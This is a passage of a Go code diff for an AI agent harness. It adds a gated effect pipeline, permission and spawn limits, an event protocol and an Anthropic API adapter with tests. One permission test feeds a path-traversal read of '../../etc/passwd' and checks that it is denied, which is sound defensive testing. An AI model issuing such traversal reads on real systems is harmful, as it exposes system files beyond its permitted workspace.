`{"path":"a.txt"}`)) + if d.Action != event.VerdictDeny { + t.Fatalf("floor must deny plan-mode edit: %+v", d) + } + // Escape denied even in bypass, via the floor. + floorBypass := &FloorGate{WS: ws, Mode: ModeBypass} + esc := floorBypass.Check(context.Background(), toolEffect("read_file", "read", `{"path":"../../etc/passwd"}`)) + if esc.Action != event.VerdictDeny { + t.Fatalf("floor must deny escape even in bypass: %+v", esc) + } +} + +// Unknown/empty tool class fails closed (ask), not open (allow). +func TestUnknownClassFailsClosed(t *testing.T) { + g := &PermissionGate{WS: newPermWS(t)} + for _, mode := range []string{ModeDefault, ModePlan, ModeAcceptEdits} { + g.Mode = mode + if d := g.Check(context.Background(), toolEffect("mystery_tool", "", `{}`)); d.Action == event.VerdictAllow { + t.Errorf("mode %s: unknown class allowed: %+v", mode, d) + } + } +} diff --git a/internal/pipeline/pipeline.go b/internal/pipeline/pipeline.go new file mode 100644 index 0000000..c86b954 --- /dev/null +++ b/internal/pipeline/pipeline.go @@ -0,0 +1,120 @@ +// Package pipeline is the effect-governance layer (S3): every side effect +// is described as an Effect and adjudicated by an ordered gate sequence +// before execution. Evaluation is PURE — no journaling, no clock, no I/O; +// the loop owns durability (EffectResolved / ApprovalRequested facts). +// +// Gate order is fixed: pre-hooks → permission → budget. Deny short- +// circuits (later gates never run); ask aggregates (any ask with no deny +// escalates to approval, carrying every gate's judgment); all-allow +// executes. +package pipeline + +import ( + "context" + "fmt" + + "github.com/ralphite/agentrunner/internal/event" +) + +// Effect describes one side effect awaiting adjudication. +type Effect struct { + ID string // eff- | eff-llm-t + Kind string // tool_call | llm_call + ToolName string + Class string // tool class: read | edit | execute | wait + Args []byte + CallID string + EstTokens int // budget reservation basis (3.7) + Mode string // current run mode at adjudication time (3.6) + // Budget is the fold's live accounting at adjudication time (3.7). + Budget BudgetView + // SpawnDepth/SpawnCount feed the spawn gate (S5.3): this run's depth in + // the agent tree and the spawns it has already requested. Zero for + // non-spawn effects. HandoffPending marks that an earlier call of the + // SAME batch already transferred control (S5.4): once a handoff is + // allowed, no further agent launch in that turn may run. + SpawnDepth int + SpawnCount int + HandoffPending bool +} + +// Decision is one gate's judgment. +type Decision struct { + Action string // event.VerdictAllow | VerdictAsk | VerdictDeny + Reason string +} + +var ( + Allow = Decision{Action: event.VerdictAllow} +) + +func Ask(reason string) Decision { return Decision{Action: event.VerdictAsk, Reason: reason} } +func Deny(reason string) Decision { return Decision{Action: event.VerdictDeny, Reason: reason} } + +// Gate adjudicates effects. Check must be pure and fast; anything slow or +// side-effecting (hook processes) runs before evaluation and feeds its +// conclusion in via the gate's own state. +type Gate interface { + Name() string + Check(ctx context.Context, eff Effect) Decision +} + +// Outcome is the pipeline's aggregate verdict. +type Outcome struct { + Verdict string // allow | ask | deny + GateResults []event.GateResult +} + +// Pipeline is the ordered gate sequence. +type Pipeline struct { + Gates []Gate +} + +// SideEffectingGate marks gates whose Check has external side effects +// (hook processes). Their adjudication window is in-doubt after a crash; +// pure windows just re-adjudicate. +type SideEffectingGate interface { + SideEffecting() bool +} + +// SideEffecting reports whether any gate declares side effects. +func (p *Pipeline) SideEffecting() bool { + if p == nil { + return false + } + for _, g := range p.Gates { + if se, ok := g.(SideEffectingGate); ok && se.SideEffecting() { + return true + } + } + return false +} + +// Evaluate runs the gates in order. Deny short-circuits; ask is recorded +// and evaluation continues (an approval prompt must show every gate's +// judgment, and a later deny still wins). +func (p *Pipeline) Evaluate(ctx context.Context, eff Effect) (Outcome, error) { + out := Outcome{Verdict: event.VerdictAllow} + if p == nil { + return out, nil + } + for _, g := range p.Gates { + d := g.Check(ctx, eff) + switch d.Action { + case event.VerdictAllow, event.VerdictAsk, event.VerdictDeny: + default: + return Outcome{}, fmt.Errorf("pipeline: gate %q returned invalid action %q", g.Name(), d.Action) + } + out.GateResults = append(out.GateResults, event.GateResult{ + Gate: g.Name(), Decision: d.Action, Reason: d.Reason, + }) + if d.Action == event.VerdictDeny { + out.Verdict = event.VerdictDeny + return out, nil // short-circuit: later gates never run + } + if d.Action == event.VerdictAsk { + out.Verdict = event.VerdictAsk + } + } + return out, nil +} diff --git a/internal/pipeline/pipeline_test.go b/internal/pipeline/pipeline_test.go new file mode 100644 index 0000000..6731a85 --- /dev/null +++ b/internal/pipeline/pipeline_test.go @@ -0,0 +1,99 @@ +package pipeline + +import ( + "context" + "testing" + + "github.com/ralphite/agentrunner/internal/event" +) + +type fakeGate struct { + name string + decision Decision + called *bool +} + +func (g fakeGate) Name() string { return g.name } +func (g fakeGate) Check(context.Context, Effect) Decision { + if g.called != nil { + *g.called = true + } + return g.decision +} + +func TestEvaluateAllAllow(t *testing.T) { + p := &Pipeline{Gates: []Gate{ + fakeGate{name: "hooks", decision: Allow}, + fakeGate{name: "permission", decision: Allow}, + fakeGate{name: "budget", decision: Allow}, + }} + out, err := p.Evaluate(context.Background(), Effect{ID: "eff-x"}) + if err != nil { + t.Fatal(err) + } + if out.Verdict != event.VerdictAllow || len(out.GateResults) != 3 { + t.Fatalf("out = %+v", out) + } +} + +// Deny short-circuits: the gate after the denier never runs. +func TestEvaluateDenyShortCircuits(t *testing.T) { + var budgetRan bool + p := &Pipeline{Gates: []Gate{ + fakeGate{name: "hooks", decision: Allow}, + fakeGate{name: "permission", decision: Deny("path escapes workspace")}, + fakeGate{name: "budget", decision: Allow, called: &budgetRan}, + }} + out, err := p.Evaluate(context.Background(), Effect{ID: "eff-x"}) + if err != nil { + t.Fatal(err) + } + if out.Verdict != event.VerdictDeny || len(out.GateResults) != 2 { + t.Fatalf("out = %+v", out) + } + if budgetRan { + t.Fatal("gate after deny must not run") + } + if out.GateResults[1].Reason != "path escapes workspace" { + t.Errorf("results = %+v", out.GateResults) + } +} + +// Ask aggregates: evaluation continues, and a later deny still wins. +func TestEvaluateAskAggregatesAndDenyWins(t *testing.T) { + p := &Pipeline{Gates: []Gate{ + fakeGate{name: "permission", decision: Ask("edit outside allow-list")}, + fakeGate{name: "budget", decision: Allow}, + }} + out, err := p.Evaluate(context.Background(), Effect{ID: "eff-x"}) + if err != nil { + t.Fatal(err) + } + if out.Verdict != event.VerdictAsk || len(out.GateResults) != 2 { + t.Fatalf("out = %+v", out) + } + + p.Gates = append(p.Gates, fakeGate{name: "hooks", decision: Deny("blocked")}) + out, err = p.Evaluate(context.Background(), Effect{ID: "eff-x"}) + if err != nil { + t.Fatal(err) + } + if out.Verdict != event.VerdictDeny { + t.Fatalf("deny after ask must win: %+v", out) + } +} + +func TestEvaluateNilPipelineAllows(t *testing.T) { + var p *Pipeline + out, err := p.Evaluate(context.Background(), Effect{ID: "eff-x"}) + if err != nil || out.Verdict != event.VerdictAllow { + t.Fatalf("out = %+v err = %v", out, err) + } +} + +func TestEvaluateInvalidActionErrors(t *testing.T) { + p := &Pipeline{Gates: []Gate{fakeGate{name: "rogue", decision: Decision{Action: "maybe"}}}} + if _, err := p.Evaluate(context.Background(), Effect{}); err == nil { + t.Fatal("invalid gate action must error") + } +} diff --git a/internal/pipeline/spawn.go b/internal/pipeline/spawn.go new file mode 100644 index 0000000..59dcfc8 --- /dev/null +++ b/internal/pipeline/spawn.go @@ -0,0 +1,47 @@ +package pipeline + +import "context" + +// Spawn caps (S5.3): hard bounds on the agent tree. Depth 0 is the root +// run, so MaxDepth 2 allows children and grandchildren but not deeper; +// MaxSpawns bounds one run's total spawn requests. Together they bound the +// whole tree. Exceeding a cap is a pipeline DENY — a model-visible result, +// never a crash. +const ( + DefaultMaxSpawnDepth = 2 + DefaultMaxSpawns = 8 +) + +// SpawnGate denies agent-launching effects (spawn_agent and handoff_agent — +// both start a child run, S5.3/S5.4) past the depth or fan-out cap. It +// ignores every other effect. +type SpawnGate struct { + MaxDepth int // zero → DefaultMaxSpawnDepth + MaxSpawns int // zero → DefaultMaxSpawns +} + +func (g *SpawnGate) Name() string { return "spawn" } + +func (g *SpawnGate) Check(_ context.Context, eff Effect) Decision { + if eff.ToolName != "spawn_agent" && eff.ToolName != "handoff_agent" { + return Allow + } + if eff.HandoffPending { + return Deny("control already transferred by an earlier handoff this turn") + } + maxDepth := g.MaxDepth + if maxDepth == 0 { + maxDepth = DefaultMaxSpawnDepth + } + maxSpawns := g.MaxSpawns + if maxSpawns == 0 { + maxSpawns = DefaultMaxSpawns + } + if eff.SpawnDepth >= maxDepth { + return Deny("agent tree depth limit reached") + } + if eff.SpawnCount >= maxSpawns { + return Deny("spawn fan-out limit reached for this run") + } + return Allow +} diff --git a/internal/protocol/protocol.go b/internal/protocol/protocol.go new file mode 100644 index 0000000..97e48c6 --- /dev/null +++ b/internal/protocol/protocol.go @@ -0,0 +1,86 @@ +// Package protocol is the harness's OUTPUT event stream — what a surface +// (CLI, future web UI) renders. It is deliberately distinct from +// provider.StreamEvent (the provider INPUT side): this is the harness +// speaking to a human, carrying turn structure, tool activity, approvals, +// and USER-visible errors. Model-visible errors (errs.RenderForModel) go +// into the fold for the model; they are a different channel. +package protocol + +import ( + "encoding/json" + "io" + "sync" +) + +// Kind discriminates output events. +type Kind string + +const ( + KindRunStart Kind = "run_start" + KindTurnStart Kind = "turn_start" + KindTextDelta Kind = "text_delta" // ephemeral: streamed assistant text + KindMessage Kind = "message" // durable: the assembled assistant text + KindToolCall Kind = "tool_call" + KindToolResult Kind = "tool_result" + KindApprovalRequest Kind = "approval_request" + KindModeChanged Kind = "mode_changed" + KindDiscard Kind = "discard" // a streamed turn was thrown away; reopen the stream + KindError Kind = "error" // USER-visible error (not the model-visible render) + KindRunEnd Kind = "run_end" + KindNote Kind = "note" // blackboard publish mirrored to watchers (S6, ephemeral) + KindIteration Kind = "iteration" // one driver iteration completed (S6; Turn = iteration N) +) + +// Event is one output event. Fields are sparse — only those relevant to +// Kind are set. JSON tags drive the `--json` line stream. +type Event struct { + Kind Kind `json:"kind"` + Turn int `json:"turn,omitempty"` + Text string `json:"text,omitempty"` // text_delta / message / error / discard reason + Tool string `json:"tool,omitempty"` // tool_call / tool_result + CallID string `json:"call_id,omitempty"` + Args string `json:"args,omitempty"` // tool_call args (compact JSON) + Result string `json:"result,omitempty"` // tool_result payload (compact JSON) + IsError bool `json:"is_error,omitempty"` // tool_result / error + Mode string `json:"mode,omitempty"` + Reason string `json:"reason,omitempty"` // run_end reason + // ApprovalID names a pending ask (approval_request) so a detached + // client can answer it (`agentrunner approve ...`). + ApprovalID string `json:"approval_id,omitempty"` + // Session tags which run the event belongs to. Local single-run + // rendering leaves it empty; the daemon (S6) sets it on every forwarded + // event so a multiplexed client can tell streams apart. + Session string `json:"session,omitempty"` +} + +// Sink receives output events. Implementations must be safe for calls from +// the drive goroutine and, during a streaming LLM activity, the provider's +// delta callback — so Emit is expected to be internally synchronized. +type Sink interface { + Emit(Event) +} + +// JSONSink writes one compact JSON object per line. Concurrency-safe. +type JSONSink struct { + mu sync.Mutex + w io.Writer + enc *json.Encoder +} + +func NewJSONSink(w io.Writer) *JSONSink { + return &JSONSink{w: w, enc: json.NewEncoder(w)} +} + +func (s *JSONSink) Emit(e Event) { + s.mu.Lock() + defer s.mu.Unlock() + _ = s.enc.Encode(e) +} + +// discardSink drops everything (nil-safe default). +type discardSink struct{} + +func (discardSink) Emit(Event) {} + +// Discard is a no-op sink. +var Discard Sink = discardSink{} diff --git a/internal/protocol/protocol_test.go b/internal/protocol/protocol_test.go new file mode 100644 index 0000000..76d1e5b --- /dev/null +++ b/internal/protocol/protocol_test.go @@ -0,0 +1,36 @@ +package protocol + +import ( + "bytes" + "encoding/json" + "strings" + "testing" +) + +func TestJSONSinkLines(t *testing.T) { + var buf bytes.Buffer + s := NewJSONSink(&buf) + s.Emit(Event{Kind: KindTurnStart, Turn: 1}) + s.Emit(Event{Kind: KindTextDelta, Turn: 1, Text: "hi"}) + s.Emit(Event{Kind: KindRunEnd, Reason: "completed", Turn: 1}) + + lines := strings.Split(strings.TrimSpace(buf.String()), "\n") + if len(lines) != 3 { + t.Fatalf("lines = %d, want 3", len(lines)) + } + var e Event + if err := json.Unmarshal([]byte(lines[1]), &e); err != nil { + t.Fatal(err) + } + if e.Kind != KindTextDelta || e.Text != "hi" { + t.Errorf("event = %+v", e) + } + // Sparse encoding: absent fields omitted. + if strings.Contains(lines[1], "is_error") || strings.Contains(lines[1], "\"tool\"") { + t.Errorf("non-sparse encoding: %s", lines[1]) + } +} + +func TestDiscardSinkNoPanic(t *testing.T) { + Discard.Emit(Event{Kind: KindError, Text: "boom"}) +} diff --git a/internal/provider/anthropic/anthropic.go b/internal/provider/anthropic/anthropic.go new file mode 100644 index 0000000..7ec7895 --- /dev/null +++ b/internal/provider/anthropic/anthropic.go @@ -0,0 +1,305 @@ +// Package anthropic adapts the normalized provider interface to the +// Anthropic Messages API via the official anthropic-sdk-go (S4.7). It is the +// second provider implementation; writing it against the SAME normalized +// Message/Part/Capabilities types is the test that the abstraction (built in +// S1 for the final shape) does not leak provider specifics. +package anthropic + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "iter" + "os" + + sdk "github.com/anthropics/anthropic-sdk-go" + "github.com/anthropics/anthropic-sdk-go/option" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/provider" +) + +// extrasThinkingKey stores an Anthropic thinking block (its text + signature) +// on the assistant tool_call part, so a later turn can replay the block +// verbatim before the tool_use — Anthropic validates the signature against +// the thinking content, so it must round-trip byte-identically. +const extrasThinkingKey = "anthropic.thinking" + +// minThinkingBudget is Anthropic's floor for an enabled thinking budget. +const minThinkingBudget = 1024 + +// Provider implements provider.Provider against the Anthropic Messages API. +type Provider struct { + client sdk.Client +} + +// New builds a Provider from ANTHROPIC_API_KEY in the environment. +func New(_ context.Context) (*Provider, error) { + key := os.Getenv("ANTHROPIC_API_KEY") + if key == "" { + return nil, errors.New("ANTHROPIC_API_KEY not set") + } + return &Provider{client: sdk.NewClient(option.WithAPIKey(key))}, nil +} + +// Capabilities reports optional features (S4.7). Anthropic supports extended +// thinking, prompt caching (cache_control breakpoints), and parallel tool +// use. +func (p *Provider) Capabilities() provider.Capabilities { + return provider.Capabilities{ + Thinking: true, + PromptCaching: true, + ParallelTools: true, + } +} + +// Complete streams one Anthropic call, normalizing to StreamEvents. Text +// deltas surface live; tool calls, usage, and the finish reason are derived +// from the accumulated message once the stream closes. +func (p *Provider) Complete(ctx context.Context, req provider.CompleteRequest) iter.Seq2[provider.StreamEvent, error] { + return func(yield func(provider.StreamEvent, error) bool) { + params, err := toParams(req) + if err != nil { + yield(provider.StreamEvent{}, err) + return + } + + stream := p.client.Messages.NewStreaming(ctx, params) + var acc sdk.Message + for stream.Next() { + ev := stream.Current() + if err := acc.Accumulate(ev); err != nil { + yield(provider.StreamEvent{}, errs.Wrap(errs.Internal, err, "anthropic: accumulate")) + return + } + // Only response text streams live; thinking deltas are internal + // reasoning captured from the accumulated message, not surfaced. + if ev.Type == "content_block_delta" && ev.Delta.Text != "" { + if !yield(provider.StreamEvent{Kind: provider.EventTextDelta, TextDelta: ev.Delta.Text}, nil) { + return + } + } + } + if err := stream.Err(); err != nil { + yield(provider.StreamEvent{}, classify(err)) + return + } + + if !emitAccumulated(acc, yield) { + return + } + yield(provider.StreamEvent{Kind: provider.EventFinish, Finish: mapFinish(acc.StopReason)}, nil) + } +} + +// emitAccumulated yields tool calls (with any preceding thinking block's +// signature attached) and the usage event. Returns false if the consumer +// stopped early. +func emitAccumulated(acc sdk.Message, yield func(provider.StreamEvent, error) bool) bool { + var pendingThinking json.RawMessage + for _, block := range acc.Content { + switch block.Type { + case "thinking": + // Hold the thinking block for the next tool_use so it can be + // replayed before it on the following turn. + pendingThinking, _ = json.Marshal(map[string]string{ + "thinking": block.Thinking, "signature": block.Signature, + }) + case "tool_use": + tc := &provider.ToolCall{CallID: block.ID, Name: block.Name, Args: block.Input} + if len(pendingThinking) > 0 { + tc.Extras = map[string]json.RawMessage{extrasThinkingKey: pendingThinking} + pendingThinking = nil + } + if !yield(provider.StreamEvent{Kind: provider.EventToolCall, ToolCall: tc}, nil) { + return false + } + } + } + // Normalize InputTokens to the TOTAL input including the cached prefix, + // matching Gemini's convention (PromptTokenCount includes cached). The + // Anthropic API instead reports input_tokens EXCLUDING cache_read and + // cache_creation, so we add them back — otherwise Usage.Billed() + // (input+output−cache_read) would double-discount the cache and a + // warm-cache run would charge ~0 against the budget (S4 review P1). + return yield(provider.StreamEvent{Kind: provider.EventUsage, Usage: &provider.Usage{ + InputTokens: int(acc.Usage.InputTokens + acc.Usage.CacheReadInputTokens + + acc.Usage.CacheCreationInputTokens), + OutputTokens: int(acc.Usage.OutputTokens), + CacheReadTokens: int(acc.Usage.CacheReadInputTokens), + CacheWriteTokens: int(acc.Usage.CacheCreationInputTokens), + }}, nil) +} + +// classify maps SDK errors onto the 2.8 taxonomy (S3.9 online-side, S4.7). +func classify(err error) error { + var apiErr *sdk.Error + if errors.As(err, &apiErr) { + return errs.Wrap(errs.FromHTTPStatus(apiErr.StatusCode), err, "anthropic") + } + if class := errs.ClassOf(err); class == errs.Canceled || class == errs.Timeout { + return errs.Wrap(class, err, "anthropic") + } + return errs.Wrap(errs.ProviderServer, err, "anthropic") // transport-level: retry +} + +// mapFinish normalizes Anthropic stop reasons. Refusal is a safety block +// (surfaced as a user-visible error by the loop, S4.6). +func mapFinish(reason sdk.StopReason) provider.FinishReason { + switch reason { + case sdk.StopReasonEndTurn, sdk.StopReasonStopSequence: + return provider.FinishEndTurn + case sdk.StopReasonToolUse: + return provider.FinishToolUse + case sdk.StopReasonMaxTokens: + return provider.FinishMaxTokens + case sdk.StopReasonRefusal: + return provider.FinishBlocked + default: + // pause_turn (server-side/long-running tools want the turn resumed) + // and any unknown reason map to Other, which the loop surfaces as a + // user-visible error — better than silently ending the run as + // "completed" and truncating pending work (S4 review P2). + return provider.FinishOther + } +} + +// toParams builds the Messages request: system (last block cache-marked), +// messages, tools, thinking config, token cap. +func toParams(req provider.CompleteRequest) (sdk.MessageNewParams, error) { + msgs, err := toMessages(req.Messages) + if err != nil { + return sdk.MessageNewParams{}, err + } + params := sdk.MessageNewParams{ + Model: sdk.Model(req.Model), + MaxTokens: int64(req.MaxTokens), + Messages: msgs, + } + if req.System != "" { + sys := sdk.TextBlockParam{Text: req.System} + // Cache the frozen prefix (S4.4c prefix stability makes this pay off). + sys.CacheControl = sdk.NewCacheControlEphemeralParam() + params.System = []sdk.TextBlockParam{sys} + } + if tools := toTools(req.Tools); len(tools) > 0 { + params.Tools = tools + } + if req.Thinking.Enabled { + budget := int64(req.Thinking.BudgetTokens) + if budget < minThinkingBudget { + budget = minThinkingBudget + } + params.Thinking = sdk.ThinkingConfigParamOfEnabled(budget) + } + return params, nil +} + +func toTools(defs []provider.ToolDef) []sdk.ToolUnionParam { + out := make([]sdk.ToolUnionParam, 0, len(defs)) + for _, td := range defs { + schema := sdk.ToolInputSchemaParam{} + if len(td.InputSchema) > 0 { + var parsed struct { + Properties any `json:"properties"` + Required []string `json:"required"` + } + if err := json.Unmarshal(td.InputSchema, &parsed); err == nil { + schema.Properties = parsed.Properties + schema.Required = parsed.Required + } + } + tool := sdk.ToolUnionParamOfTool(schema, td.Name) + if tool.OfTool != nil { + tool.OfTool.Description = sdk.String(td.Description) + } + out = append(out, tool) + } + return out +} + +// toMessages converts normalized messages to Anthropic MessageParams. Tool +// results live in USER-role messages (Anthropic's shape); an assistant turn +// replays its thinking block (if captured) before its tool_use blocks so the +// signature validates. +func toMessages(msgs []provider.Message) ([]sdk.MessageParam, error) { + out := make([]sdk.MessageParam, 0, len(msgs)) + for _, m := range msgs { + switch m.Role { + case provider.RoleUser: + blocks, err := userBlocks(m) + if err != nil { + return nil, err + } + out = append(out, sdk.NewUserMessage(blocks...)) + case provider.RoleTool: + blocks, err := toolResultBlocks(m) + if err != nil { + return nil, err + } + out = append(out, sdk.NewUserMessage(blocks...)) + case provider.RoleAssistant: + blocks, err := assistantBlocks(m) + if err != nil { + return nil, err + } + out = append(out, sdk.NewAssistantMessage(blocks...)) + default: + return nil, fmt.Errorf("anthropic: unsupported role %q", m.Role) + } + } + return out, nil +} + +func userBlocks(m provider.Message) ([]sdk.ContentBlockParamUnion, error) { + var blocks []sdk.ContentBlockParamUnion + for _, p := range m.Parts { + if p.Kind != provider.PartText { + return nil, fmt.Errorf("anthropic: user message part kind %q unsupported", p.Kind) + } + blocks = append(blocks, sdk.NewTextBlock(p.Text)) + } + return blocks, nil +} + +func toolResultBlocks(m provider.Message) ([]sdk.ContentBlockParamUnion, error) { + var blocks []sdk.ContentBlockParamUnion + for _, p := range m.Parts { + if p.Kind != provider.PartToolResult { + return nil, fmt.Errorf("anthropic: tool message part kind %q unsupported", p.Kind) + } + blocks = append(blocks, sdk.NewToolResultBlock(p.CallID, string(p.Result), p.IsError)) + } + return blocks, nil +} + +func assistantBlocks(m provider.Message) ([]sdk.ContentBlockParamUnion, error) { + // Thinking first (Anthropic requires it before tool_use), then text, then + // tool_use — the fixed order the API validates. + var thinking, text, tools []sdk.ContentBlockParamUnion + for _, p := range m.Parts { + switch p.Kind { + case provider.PartText: + text = append(text, sdk.NewTextBlock(p.Text)) + case provider.PartToolCall: + if raw, ok := p.Extras[extrasThinkingKey]; ok && len(thinking) == 0 { + var t struct{ Thinking, Signature string } + if err := json.Unmarshal(raw, &t); err != nil { + return nil, fmt.Errorf("anthropic: tool call %s thinking: %w", p.CallID, err) + } + thinking = append(thinking, sdk.NewThinkingBlock(t.Signature, t.Thinking)) + } + var input any + if len(p.Args) > 0 { + if err := json.Unmarshal(p.Args, &input); err != nil { + return nil, fmt.Errorf("anthropic: tool call %s args: %w", p.CallID, err) + } + } + tools = append(tools, sdk.NewToolUseBlock(p.CallID, input, p.ToolName)) + default: + return nil, fmt.Errorf("anthropic: assistant part kind %q unsupported", p.Kind) + } + } + return append(append(thinking, text...), tools...), nil +} diff --git a/internal/provider/anthropic/anthropic_live_test.go b/internal/provider/anthropic/anthropic_live_test.go new file mode 100644 index 0000000..70e03a5 --- /dev/null +++ b/internal/provider/anthropic/anthropic_live_test.go @@ -0,0 +1,135 @@ +//go:build live + +package anthropic + +import ( + "bufio" + "context" + "os" + "strings" + "testing" + + "github.com/ralphite/agentrunner/internal/provider" +) + +// loadDotEnv populates missing env vars from the repo-root .env (local +// convenience per PLAN §0; never overrides existing values). +func loadDotEnv(t *testing.T) { + f, err := os.Open("../../../.env") + if err != nil { + return + } + defer f.Close() + sc := bufio.NewScanner(f) + for sc.Scan() { + line := strings.TrimSpace(sc.Text()) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + k, v, ok := strings.Cut(line, "=") + if ok && os.Getenv(k) == "" { + t.Setenv(k, v) + } + } +} + +func TestLiveSmoke(t *testing.T) { + loadDotEnv(t) + if os.Getenv("ANTHROPIC_API_KEY") == "" { + t.Skip("ANTHROPIC_API_KEY not set; live smoke deferred to stage-exit checkpoint") + } + + ctx := context.Background() + p, err := New(ctx) + if err != nil { + t.Fatal(err) + } + + turn, err := provider.CollectTurn(p.Complete(ctx, provider.CompleteRequest{ + Model: "claude-haiku-4-5-20251001", + MaxTokens: 200, + System: "You are terse.", + Messages: []provider.Message{{ + Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "Say the single word: pong"}}, + }}, + Turn: 1, + })) + if err != nil { + t.Fatal(err) + } + if len(turn.Message.Parts) == 0 || !strings.Contains(strings.ToLower(turn.Message.Parts[0].Text), "pong") { + t.Errorf("unexpected reply: %+v", turn.Message) + } + if turn.Usage.OutputTokens == 0 { + t.Errorf("usage not populated: %+v", turn.Usage) + } +} + +// TestLiveToolAndThinkingRoundTrip exercises a two-turn tool use under +// extended thinking — the path where the thinking signature must round-trip. +func TestLiveToolAndThinkingRoundTrip(t *testing.T) { + loadDotEnv(t) + if os.Getenv("ANTHROPIC_API_KEY") == "" { + t.Skip("ANTHROPIC_API_KEY not set") + } + ctx := context.Background() + p, err := New(ctx) + if err != nil { + t.Fatal(err) + } + + tools := []provider.ToolDef{{ + Name: "get_weather", + Description: "Get the weather for a city", + InputSchema: []byte(`{"type":"object","properties":{"city":{"type":"string"}},"required":["city"]}`), + }} + first, err := provider.CollectTurn(p.Complete(ctx, provider.CompleteRequest{ + Model: "claude-haiku-4-5-20251001", + MaxTokens: 2048, + Thinking: provider.ThinkingConfig{Enabled: true, BudgetTokens: 1024}, + Tools: tools, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "What's the weather in Paris? Use the tool."}}}}, + Turn: 1, + })) + if err != nil { + t.Fatal(err) + } + if len(first.ToolCalls) == 0 { + t.Skipf("model did not call the tool: %+v", first.Message) + } + + // Feed the tool result back — the assistant message (carrying the thinking + // block in Extras) must replay cleanly. + call := first.ToolCalls[0] + second, err := provider.CollectTurn(p.Complete(ctx, provider.CompleteRequest{ + Model: "claude-haiku-4-5-20251001", + MaxTokens: 2048, + Thinking: provider.ThinkingConfig{Enabled: true, BudgetTokens: 1024}, + Tools: tools, + Messages: []provider.Message{ + {Role: provider.RoleUser, Parts: []provider.Part{{Kind: provider.PartText, Text: "What's the weather in Paris? Use the tool."}}}, + first.Message, + {Role: provider.RoleTool, Parts: []provider.Part{{Kind: provider.PartToolResult, + CallID: call.CallID, Result: []byte(`{"temp_c":18,"sky":"clear"}`)}}}, + }, + Turn: 2, + })) + if err != nil { + t.Fatalf("thinking round-trip failed: %v", err) + } + if txt := strings.ToLower(providerText(second.Message)); !strings.Contains(txt, "18") && !strings.Contains(txt, "paris") { + t.Errorf("unexpected follow-up: %+v", second.Message) + } +} + +func providerText(m provider.Message) string { + var b strings.Builder + for _, p := range m.Parts { + if p.Kind == provider.PartText { + b.WriteString(p.Text) + } + } + return b.String() +} diff --git a/internal/provider/anthropic/anthropic_test.go b/internal/provider/anthropic/anthropic_test.go new file mode 100644 index 0000000..5a930c3 --- /dev/null +++ b/internal/provider/anthropic/anthropic_test.go @@ -0,0 +1,232 @@ +package anthropic + +import ( + "context" + "encoding/json" + "strings" + "testing" + + sdk "github.com/anthropics/anthropic-sdk-go" + + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/provider" +) + +func TestCapabilities(t *testing.T) { + c := (&Provider{}).Capabilities() + if !c.Thinking || !c.PromptCaching || !c.ParallelTools { + t.Fatalf("anthropic capabilities = %+v, want all true", c) + } +} + +func TestMapFinish(t *testing.T) { + cases := map[sdk.StopReason]provider.FinishReason{ + sdk.StopReasonEndTurn: provider.FinishEndTurn, + sdk.StopReasonToolUse: provider.FinishToolUse, + sdk.StopReasonMaxTokens: provider.FinishMaxTokens, + sdk.StopReasonRefusal: provider.FinishBlocked, + sdk.StopReasonStopSequence: provider.FinishEndTurn, + sdk.StopReasonPauseTurn: provider.FinishOther, + "something_new": provider.FinishOther, + } + for in, want := range cases { + if got := mapFinish(in); got != want { + t.Errorf("mapFinish(%q) = %q, want %q", in, got, want) + } + } +} + +func TestClassifyStatusMapping(t *testing.T) { + cases := map[int]errs.Class{ + 429: errs.ProviderRateLimit, + 503: errs.ProviderServer, + 401: errs.ProviderAuth, + 400: errs.ProviderInvalid, + } + for code, want := range cases { + // Only the class is asserted; *sdk.Error.Error() nil-derefs on a bare + // struct, and errs.ClassOf never calls it. + if got := errs.ClassOf(classify(&sdk.Error{StatusCode: code})); got != want { + t.Errorf("classify(status %d) class = %q, want %q", code, got, want) + } + } +} + +// toParams: thinking config is sent when requested (floored), and the system +// block carries a cache_control breakpoint. +func TestToParamsThinkingAndCache(t *testing.T) { + req := provider.CompleteRequest{ + Model: "claude-x", MaxTokens: 4096, System: "be precise", + Thinking: provider.ThinkingConfig{Enabled: true, BudgetTokens: 100}, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "hi"}}}}, + } + params, err := toParams(req) + if err != nil { + t.Fatal(err) + } + raw, err := json.Marshal(params) + if err != nil { + t.Fatal(err) + } + js := string(raw) + if !strings.Contains(js, `"cache_control"`) { + t.Errorf("system block missing cache_control: %s", js) + } + if !strings.Contains(js, `"thinking"`) { + t.Errorf("thinking config missing: %s", js) + } + // Budget floored to the Anthropic minimum. + if !strings.Contains(js, `"budget_tokens":1024`) { + t.Errorf("budget not floored to 1024: %s", js) + } +} + +// toParams with no thinking must not emit a thinking config. +func TestToParamsNoThinking(t *testing.T) { + req := provider.CompleteRequest{Model: "claude-x", MaxTokens: 100, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "hi"}}}}} + params, _ := toParams(req) + raw, _ := json.Marshal(params) + if strings.Contains(string(raw), `"thinking"`) { + t.Errorf("unexpected thinking config: %s", raw) + } +} + +func TestToToolsSchema(t *testing.T) { + req := provider.CompleteRequest{ + Model: "claude-x", MaxTokens: 100, + Tools: []provider.ToolDef{{ + Name: "read_file", Description: "read a file", + InputSchema: json.RawMessage(`{"type":"object","properties":{"path":{"type":"string"}},"required":["path"]}`), + }}, + Messages: []provider.Message{{Role: provider.RoleUser, + Parts: []provider.Part{{Kind: provider.PartText, Text: "go"}}}}, + } + params, err := toParams(req) + if err != nil { + t.Fatal(err) + } + raw, _ := json.Marshal(params) + js := string(raw) + for _, want := range []string{`"read_file"`, `"read a file"`, `"path"`, `"required":["path"]`} { + if !strings.Contains(js, want) { + t.Errorf("tool schema missing %s: %s", want, js) + } + } +} + +// The thinking signature round-trips: an assistant tool_call carrying the +// captured thinking block replays a thinking block (with signature) BEFORE +// the tool_use block. +func TestThinkingRoundTrip(t *testing.T) { + thinking, _ := json.Marshal(map[string]string{"thinking": "let me reason", "signature": "sig-xyz=="}) + req := provider.CompleteRequest{ + Model: "claude-x", MaxTokens: 100, + 